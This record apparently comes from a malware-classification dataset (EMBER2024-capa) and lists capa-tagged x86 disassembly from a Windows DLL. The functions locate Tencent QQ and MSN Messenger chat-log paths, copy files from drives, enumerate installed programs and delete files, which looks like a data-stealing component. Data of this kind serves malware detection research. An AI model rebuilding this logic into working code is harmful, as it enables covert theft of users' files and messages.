joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10015440
Capabilities:
Get disk information
Query or enumerate registry value

Disassembly:
push 0xffffffffffffffff
push 0x1002b0eb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x944
push ebp
push edi
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, eax
mov eax, dword [0x1003d0a4]
xor ebp, ebp
mov dword [esp + 0x20], edi
cmp eax, ebp
jne 0x10015496
mov dword [0x1003d0a4], edi
pop edi
mov eax, 1
pop ebp
mov ecx, dword [esp + 0x944]
mov dword fs:[0], ecx
add esp, 0x950
ret
push ebx
lea eax, [esp + 0x348]
push esi
push eax
call fcn.10015320
mov esi, dword [0x1003d0a4]
mov ebx, dword [sym.imp.MSVCRT.dll_sprintf]
and esi, edi
add esp, 4
not esi
and esi, edi
xor edi, edi
mov dword [esp + 0x24], esi
mov dword [esp + 0x10], edi
mov edx, 1
mov ecx, edi
shl edx, cl
test esi, edx
je 0x10015661
lea eax, [edi + 0x41]
lea ecx, [esp + 0x18]
push eax
push 0x10031d38
push ecx
call ebx
add esp, 0xc
lea edx, [esp + 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
test al, 2
je 0x10015661
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x554]
lea edx, [esp + 0x2c]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x30]
lea ecx, [esp + 0x554]
push eax
push ecx
push edx
push str.usbfilter
push str.SoftwareMicrosoft
push bind
mov dword [esp + 0x44], 3
mov dword [esp + 0x48], 0x400
call dword [sym.imp.SHLWAPI.dll_SHGetValueA]
mov dword [esp + 0x344], ebp
mov dword [esp + 0x348], ebp
lea eax, [esp + 0x554]
push ebp
lea ecx, [esp + 0x13c]
push eax
lea edx, [esp + 0x20]
push ecx
push edx
mov dword [esp + 0x96c], ebp
call fcn.10015980
lea eax, [esp + 0x148]
push eax
call fcn.10015dd0
mov edi, 0x10030c58
or ecx, 0xffffffff
xor eax, eax
add esp, 0x14
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x18]
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [esp + 0x18]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x18]
mov dword [esp + 0x18], ebp
push ecx
call fcn.100152f0
mov edx, dword [esp + 0x14]
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x34]
rep stosd dword es:[edi], eax
movsx eax, byte [esp + 0x18]
push edx
lea ecx, [esp + 0x350]
push eax
push ecx
lea edx, [esp + 0x40]
push str._s_c_0x_08x
push edx
call ebx
movsx ecx, byte [esp + 0x2c]
mov eax, dword [esp + 0x28]
add esp, 0x14
lea edx, [esp + 0x450]
push eax
push ecx
push str._c_0x_08x
push edx
call ebx
push 0x10030a68
lea eax, [esp + 0x48]
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 0x18
cmp esi, ebp
je 0x1001563a
lea ecx, [esp + 0x18]
push ecx
push esi
call fcn.10012670
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 0xc
mov eax, dword [esp + 0x344]
mov dword [esp + 0x95c], 0xffffffff
cmp eax, ebp
je 0x10015659
push eax
call fcn.10010220
add esp, 4
mov edi, dword [esp + 0x10]
mov esi, dword [esp + 0x24]
inc edi
cmp edi, 0x20
mov dword [esp + 0x10], edi
jl 0x100154c4
mov edx, dword [esp + 0x28]
mov ecx, dword [esp + 0x954]
pop esi
pop ebx
pop edi
mov dword [0x1003d0a4], edx
mov eax, 1
pop ebp
mov dword fs:[0], ecx
add esp, 0x950
ret
Function at 0x100156c0
Capabilities:
Create thread

Disassembly:
push ecx
mov ecx, dword [esp + 8]
lea eax, [esp]
push eax
push 0
push ecx
push 0x100156a0
push 0
push 0
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x100156ef
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
pop ecx
ret
Function at 0x10015dd0
Capabilities:
Copy file

Disassembly:
sub esp, 0x420
push ebx
lea eax, [esp + 0x320]
push esi
push eax
call fcn.100153b0
mov ebx, dword [esp + 0x430]
xor esi, esi
add esp, 4
mov dword [esp + 8], esi
cmp dword [ebx + 0x210], esi
jle 0x10015f02
push ebp
mov ebp, dword [sym.imp.MSVCRT.dll_sprintf]
push edi
mov edx, dword [ebx + 0x20c]
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x228]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x228]
add edx, esi
push ecx
push edx
call fcn.10015f10
mov ecx, 0x82
xor eax, eax
lea edi, [esp + 0x28]
add esp, 8
rep stosd dword es:[edi], eax
lea eax, [esp + 0x228]
lea ecx, [esp + 0x32c]
push eax
push ecx
lea edx, [esp + 0x28]
push 0x10030690
push edx
call ebp
lea eax, [esp + 0x30]
push 0
push eax
call dword [sym.imp.MSVCRT.dll__access]
add esp, 0x18
test eax, eax
jne 0x10015ebf
lea ecx, [esp + 0x14]
mov dword [esp + 0x14], eax
lea edx, [esp + 0x18]
push ecx
lea eax, [esp + 0x24]
push edx
push eax
call fcn.10016000
add esp, 0xc
test eax, eax
je 0x10015ed5
mov ecx, dword [ebx + 0x20c]
mov edx, dword [esp + 0x1c]
lea eax, [ecx + esi]
mov ecx, dword [ecx + esi + 0x218]
cmp ecx, edx
ja 0x10015eb6
jne 0x10015ed5
mov edx, dword [eax + 0x214]
mov ecx, dword [esp + 0x18]
cmp edx, ecx
jbe 0x10015ed5
lea ecx, [esp + 0x20]
push 0
push ecx
jmp 0x10015ece
mov eax, dword [ebx + 0x20c]
lea edx, [esp + 0x20]
push 0
push edx
add eax, esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov eax, dword [esp + 0x10]
mov ecx, dword [ebx + 0x210]
inc eax
add esi, 0x224
cmp eax, ecx
mov dword [esp + 0x10], eax
jl 0x10015e09
pop edi
pop ebp
pop esi
mov eax, 1
pop ebx
add esp, 0x420
ret
pop esi
mov eax, 1
pop ebx
add esp, 0x420
ret

Function at 0x10016000
Capabilities:
Get file size

Disassembly:
sub esp, 0x10
push esi
mov esi, dword [esp + 0x18]
push 0
push esi
call dword [sym.imp.MSVCRT.dll__access]
add esp, 8
test eax, eax
jne 0x10016088
push eax
push eax
push 3
push eax
push 1
push bind
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
test esi, esi
je 0x10016088
cmp esi, 0xffffffff
je 0x10016088
mov eax, dword [esp + 0x1c]
lea ecx, [esp + 4]
push eax
lea edx, [esp + 0x10]
push ecx
push edx
push esi
call dword [sym.imp.KERNEL32.dll_GetFileTime]
test eax, eax
je 0x10016088
lea eax, [esp + 0x18]
mov dword [esp + 0x18], 0
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, dword [esp + 0x18]
test ecx, ecx
jbe 0x10016071
or eax, 0x80000000
mov ecx, dword [esp + 0x20]
push esi
mov dword [ecx], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
pop esi
add esp, 0x10
ret
xor eax, eax
pop esi
add esp, 0x10
ret
Function at 0x10016190
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x200
xor eax, eax
push ebx
mov ebx, dword [esp + 0x218]
push ebp
mov ebp, dword [esp + 0x218]
mov ecx, dword [ebx]
push esi
mov edx, ecx
push edi
mov edi, ebp
xor esi, esi
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov edx, dword [esp + 0x214]
and ecx, 3
rep stosb byte es:[edi], al
mov ecx, dword [esp + 0x218]
lea eax, [esp + 0x10]
push eax
push 0x20019
push esi
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1001625a
mov ecx, 0x7d
lea edi, [esp + 0x1c]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x14]
lea ecx, [esp + 0x1c]
push eax
mov eax, dword [esp + 0x220]
lea edx, [esp + 0x1c]
push ecx
mov ecx, dword [esp + 0x18]
push edx
push esi
push eax
push ecx
mov dword [esp + 0x2c], 0x12c
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1001624f
cmp dword [esp + 0x18], 1
jne 0x1001624f
mov ecx, dword [esp + 0x14]
mov eax, dword [ebx]
cmp eax, ecx
jbe 0x1001624f
mov dword [ebx], ecx
mov edx, ecx
lea esi, [esp + 0x1c]
mov edi, ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [ebx]
mov esi, 1
mov byte [eax + ebp], 0
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x200
ret
Function at 0x10016270
Capabilities:
Read .ini file

Disassembly:
sub esp, 0x104
xor eax, eax
push ebx
push ebp
mov ebp, dword [esp + 0x114]
push esi
mov esi, dword [esp + 0x114]
push edi
mov ecx, dword [ebp]
mov edi, esi
mov edx, ecx
mov ebx, dword [sym.imp.MSVCRT.dll_sprintf]
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
push str.C:Documents_and_SettingsAll_UsersDocumentsTencentQQUserDataInfo.ini
and ecx, 3
rep stosb byte es:[edi], al
lea eax, [esp + 0x14]
push eax
call ebx
mov edi, dword [sym.imp.MSVCRT.dll__access]
lea ecx, [esp + 0x18]
push 0
push ecx
call edi
add esp, 0x10
test eax, eax
je 0x100162d4
lea edx, [esp + 0x10]
push str.C:UsersPublicDocumentsTencentQQUserDataInfo.ini
push edx
call ebx
add esp, 8
mov ecx, dword [ebp]
lea eax, [esp + 0x10]
push eax
push ecx
push esi
push str.b:_aaa
push str.UserDataSavePath
push str.UserDataSet
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
push 0
push esi
call edi
add esp, 8
test eax, eax
jne 0x1001633f
mov edi, esi
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp byte [ecx + esi - 1], 0x5c
jne 0x10016320
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov byte [ecx + esi - 1], al
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
pop edi
mov dword [ebp], ecx
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x104
ret
push ebp
push esi
push str.Install
push str.SOFTWARETencentQQ_
push reloc.WS2_32.dll_bind
call fcn.10016190
add esp, 0x14
test eax, eax
je 0x1001638f
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp byte [ecx + esi - 1], 0x5c
jne 0x1001637f
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov byte [ecx + esi - 1], al
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x104
ret
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x104
ret
Function at 0x100163a0
Capabilities:
Get common file path

Disassembly:
sub esp, 0x108
mov ecx, 0x41
xor eax, eax
push ebx
push edi
lea edi, [esp + 0xc]
mov ebx, 1
rep stosd dword es:[edi], eax
mov ecx, dword [esp + 0x114]
lea eax, [esp + 8]
push eax
push ecx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderLocation]
test eax, eax
jne 0x1001645d
mov eax, dword [esp + 8]
lea edx, [esp + 0xc]
push edx
push eax
call dword [sym.imp.SHELL32.dll_SHGetPathFromIDListA]
test eax, eax
je 0x10016445
lea edi, [esp + 0xc]
or ecx, 0xffffffff
xor eax, eax
mov edx, dword [esp + 0x11c]
repne scasb al, byte es:[edi]
mov eax, dword [edx]
not ecx
dec ecx
cmp eax, ecx
jb 0x1001646a
lea edi, [esp + 0xc]
or ecx, 0xffffffff
xor eax, eax
push ebp
repne scasb al, byte es:[edi]
mov eax, dword [esp + 0x11c]
push esi
not ecx
mov dword [edx], ecx
mov ebp, ecx
lea esi, [esp + 0x14]
mov edi, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [edx]
pop esi
pop ebp
pop edi
mov byte [ecx + eax], 0
mov eax, ebx
pop ebx
add esp, 0x108
ret
mov edx, dword [esp + 0x11c]
pop edi
xor eax, eax
pop ebx
mov dword [edx], 0
add esp, 0x108
ret
mov eax, dword [esp + 0x11c]
mov dword [eax], 0
pop edi
xor eax, eax
pop ebx
add esp, 0x108
ret

Function at 0x10016580
Capabilities:
Persist via run registry key
Query or enumerate registry value

Disassembly:
sub esp, 0x220
mov ecx, 0x41
xor eax, eax
push ebx
mov ebx, dword [esp + 0x228]
push esi
push edi
mov edi, ebx
test ebx, ebx
rep stosd dword es:[edi], eax
je 0x100166a9
lea eax, [esp + 0xc]
push eax
push 1
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerShell_Folders
push bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x100166a9
mov eax, dword [esp + 0x234]
mov dword [esp + 0x10], 0x211
cmp eax, 3
ja case.default.0x100165dc
jmp dword [eax*4 + 0x100166b8]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x18]
push ecx
lea eax, [esp + 0x18]
push edx
push eax
push 0
push str.Personal
jmp 0x1001664b
lea edx, [esp + 0x10]
lea eax, [esp + 0x18]
push edx
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x18]
push eax
push ecx
push 0
push str.AppData
push edx
jmp 0x10016650
lea eax, [esp + 0x10]
lea ecx, [esp + 0x18]
push eax
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x18]
push ecx
push edx
push 0
push str.Desktop
push eax
jmp 0x10016650
lea ecx, [esp + 0x10]
lea edx, [esp + 0x18]
push ecx
lea eax, [esp + 0x18]
push edx
push eax
push 0
push str.Startup
mov ecx, dword [esp + 0x20]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [esp + 0xc]
mov esi, eax
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
jne 0x100166a9
cmp dword [esp + 0x14], 1
jne 0x100166a9
lea edi, [esp + 0x18]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, 1
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
pop ebx
add esp, 0x220
ret
mov ecx, dword [esp + 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x220
ret
Function at 0x10016bf0
Capabilities:
Enumerate files on windows
Get disk information

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1002b140
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x6a8
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov dword [ebp - 0x10], esp
push ebx
lea eax, [ebp - 0x6b4]
push str._s.lnk
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
lea ecx, [ebp - 0x36c]
lea edx, [ebp - 0x6b4]
xor esi, esi
push ecx
push edx
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [ebp - 0x14], eax
je 0x10016d58
mov ecx, 0x41
xor eax, eax
lea edi, [ebp - 0x22c]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x340]
lea ecx, [ebp - 0x22c]
push eax
push ebx
push 0x10030690
push ecx
call dword [sym.imp.MSVCRT.dll_sprintf]
mov ecx, 0x41
xor eax, eax
lea edi, [ebp - 0x128]
lea edx, [ebp - 0x4ac]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x1c]
push edx
lea ecx, [ebp - 0x128]
push eax
lea edx, [ebp - 0x22c]
push ecx
push edx
mov dword [ebp - 0x1c], 0x104
call fcn.100166d0
add esp, 0x20
cmp eax, esi
je 0x10016d35
mov al, byte [ebp - 0x128]
lea ecx, [ebp + 8]
mov dword [ebp + 8], esi
push ecx
mov byte [ebp + 8], al
mov byte [ebp + 9], 0x3a
mov byte [ebp + 0xa], 0x5c
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 3
jne 0x10016d35
lea edx, [ebp - 0x128]
push esi
push edx
call dword [sym.imp.MSVCRT.dll__access]
add esp, 8
test eax, eax
jne 0x10016d35
test byte [ebp - 0x4ac], 0x10
jne 0x10016d35
lea eax, [ebp - 0x18]
lea ecx, [ebp - 0x24]
push eax
lea edx, [ebp - 0x128]
push ecx
push edx
mov dword [ebp - 0x18], esi
call fcn.10016000
add esp, 0xc
cmp eax, esi
je 0x10016d35
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x20]
mov edx, dword [ebp - 0x24]
push esi
push eax
push ecx
mov ecx, dword [ebp + 0xc]
lea eax, [ebp - 0x128]
push edx
push eax
push ecx
call fcn.10016090
add esp, 0x18
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x36c]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x10016c52
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov eax, 1
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100170e0
Capabilities:
Query or enumerate registry key

Disassembly:
sub esp, 0x6fc
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
push ebp
mov ebp, dword [sym.imp.MSVCRT.dll_sprintf]
xor eax, eax
push esi
push edi
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
mov ecx, 0x7d
xor eax, eax
lea edi, [esp + 0x2c]
push 0x1f4
rep stosd dword es:[edi], eax
mov ecx, dword [esp + 0x18]
mov eax, ecx
inc ecx
mov dword [esp + 0x18], ecx
lea ecx, [esp + 0x30]
push ecx
push eax
push 0x80000003
call ebx
test eax, eax
jne 0x100172ab
lea edx, [esp + 0x2c]
push edx
call dword [sym.imp.MSVCRT.dll__strlwr]
lea eax, [esp + 0x30]
push str._classes
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 0xc
test eax, eax
jne 0x10017100
lea ecx, [esp + 0x2c]
push str..default
push ecx
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
jne 0x10017100
mov ecx, 0x7d
lea edi, [esp + 0x220]
lea edx, [esp + 0x2c]
rep stosd dword es:[edi], eax
push edx
lea eax, [esp + 0x224]
push str._sSoftwareMicrosoftMSNMessengerPerPassportSettings_
push eax
call ebp
add esp, 0xc
lea ecx, [esp + 0x20]
lea edx, [esp + 0x220]
push ecx
push 0x20019
push 0
push edx
push 0x80000003
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10017100
xor esi, esi
mov edx, dword [esp + 0x20]
mov ecx, 0x7d
xor eax, eax
lea edi, [esp + 0x518]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x518]
mov eax, esi
push 0x1f4
push ecx
push eax
push edx
inc esi
call ebx
test eax, eax
jne 0x10017100
mov ecx, 0x7d
lea edi, [esp + 0x220]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x518]
lea ecx, [esp + 0x2c]
push eax
push ecx
lea edx, [esp + 0x228]
push str._sSoftwareMicrosoftMSNMessengerPerPassportSettings_s
push edx
call ebp
lea eax, [esp + 0x2c]
lea ecx, [esp + 0x424]
push eax
push ecx
lea edx, [esp + 0x238]
push str.MessageLogPath
push edx
push 0x80000003
mov dword [esp + 0x40], 0x104
call fcn.10016190
add esp, 0x24
test eax, eax
je 0x100171b9
mov edx, dword [esp + 0x10]
lea eax, [esp + 0x18]
inc edx
lea ecx, [esp + 0x24]
mov dword [esp + 0x10], edx
push eax
lea edx, [esp + 0x418]
push ecx
push edx
mov dword [esp + 0x24], 0
call fcn.10016000
add esp, 0xc
test eax, eax
je 0x100171b9
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x28]
mov edx, dword [esp + 0x24]
push 0
push eax
push ecx
mov ecx, dword [esp + 0x71c]
lea eax, [esp + 0x420]
push edx
push eax
push ecx
call fcn.10016090
add esp, 0x18
jmp 0x100171b9
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x6fc
ret
Function at 0x10017510
Capabilities:
Delete file

Disassembly:
sub esp, 0x118
push ebx
push ebp
push esi
lea eax, [esp + 0x20]
push edi
push eax
call fcn.100153b0
lea edi, [esp + 0x28]
or ecx, 0xffffffff
xor eax, eax
mov ebx, dword [esp + 0x130]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, dword [esp + 0x134]
mov edx, ecx
mov esi, edi
mov edi, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
xor esi, esi
lea ecx, [esp + 0x28]
push esi
push eax
push ebx
push ecx
call fcn.10012bb0
add esp, 0x14
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov eax, dword [ebx + 0x210]
mov dword [esp + 0x10], esi
cmp eax, 0x12c
jle 0x10017589
mov dword [esp + 0x10], 1
xor ebp, ebp
cmp eax, esi
lea edi, [eax - 0x12c]
jle 0x100175d3
mov eax, dword [esp + 0x10]
test eax, eax
je 0x100175c2
test edi, edi
jle 0x100175c2
mov eax, dword [ebx + 0x20c]
add eax, esi
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [ebx + 0x20c]
dec edi
mov dword [ecx + esi + 0x20c], 2
mov eax, dword [ebx + 0x210]
inc ebp
add esi, 0x224
cmp ebp, eax
jl 0x10017595
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x118
ret

Function at 0x100175f0
Capabilities:
Get disk information

Disassembly:
sub esp, 0x204
mov ecx, 0x40
xor eax, eax
push ebx
push edi
lea edi, [esp + 8]
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
push eax
push 0x100
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
mov al, byte [esp + 8]
lea ebx, [esp + 8]
test al, al
je 0x100176cc
push ebp
mov ebp, dword [esp + 0x214]
push esi
mov al, byte [ebx]
cmp al, 0x41
je 0x100176ae
cmp al, 0x61
je 0x100176ae
cmp al, 0x42
je 0x100176ae
cmp al, 0x62
je 0x100176ae
push ebx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 3
jne 0x100176ae
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x110]
push ebx
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x114]
push str._sRECYCLER
push ecx
call dword [sym.imp.MSVCRT.dll_sprintf]
lea edi, [esp + 0x11c]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push eax
mov edx, ecx
mov esi, edi
mov edi, ebp
mov eax, dword [esp + 0x22c]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push eax
and ecx, 3
push ebp
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x128]
push ecx
call fcn.10012bb0
add esp, 0x1c
mov al, byte [ebx + 4]
add ebx, 4
test al, al
jne 0x1001762e
pop esi
pop ebp
pop edi
mov eax, 1
pop ebx
add esp, 0x204
ret
pop edi
mov eax, 1
pop ebx
add esp, 0x204
ret
Function at 0x10017c90
Capabilities:
Get installed programs
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
sub esp, 0x1e4
lea eax, [esp + 8]
push ebx
xor ebx, ebx
push eax
push reloc.WS2_32.dll_bind
push ebx
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x20], 0xc8
call dword [sym.imp.ADVAPI32.dll_RegConnectRegistryA]
test eax, eax
je 0x10017ccf
mov ecx, dword [esp + 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop ebx
add esp, 0x1e4
ret
mov eax, dword [esp + 0xc]
lea edx, [esp + 4]
push edx
push str.SOFTWAREMicrosoftWindowsCurrentVersionUninstall_
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x10017cfd
mov ecx, dword [esp + 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop ebx
add esp, 0x1e4
ret
mov eax, dword [esp + 4]
push ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
push esi
push edi
lea edx, [esp + 0xf0]
push 0x104
push edx
push ebx
push eax
call ebp
test eax, eax
jne 0x10017df5
mov esi, dword [esp + 0x1f8]
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
lea ecx, [esp + 0xf4]
push esi
push ecx
call dword [sym.imp.MSVCRT.dll__strnicmp]
add esp, 0xc
test eax, eax
je 0x10017d6c
mov eax, dword [esp + 0x10]
lea edx, [esp + 0xf0]
inc ebx
push 0x104
push edx
push ebx
push eax
call ebp
test eax, eax
je 0x10017d2a
jmp 0x10017df5
mov eax, dword [esp + 0x10]
lea ecx, [esp + 0x14]
lea edx, [esp + 0xf0]
push ecx
push edx
push eax
mov dword [esp + 0x20], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x10017dea
mov ecx, 0x32
lea edi, [esp + 0x28]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x20]
lea edx, [esp + 0x28]
push ecx
mov ecx, dword [esp + 0x18]
lea eax, [esp + 0x28]
push edx
push eax
push 0
push str.UninstallString
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea edi, [esp + 0x28]
or ecx, 0xffffffff
xor eax, eax
mov dword [esp + 0x1c], 1
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, dword [esp + 0x1fc]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0x10]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ecx
call esi
mov edx, dword [esp + 0x18]
push edx
call esi
mov eax, dword [esp + 0x1c]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1e4
ret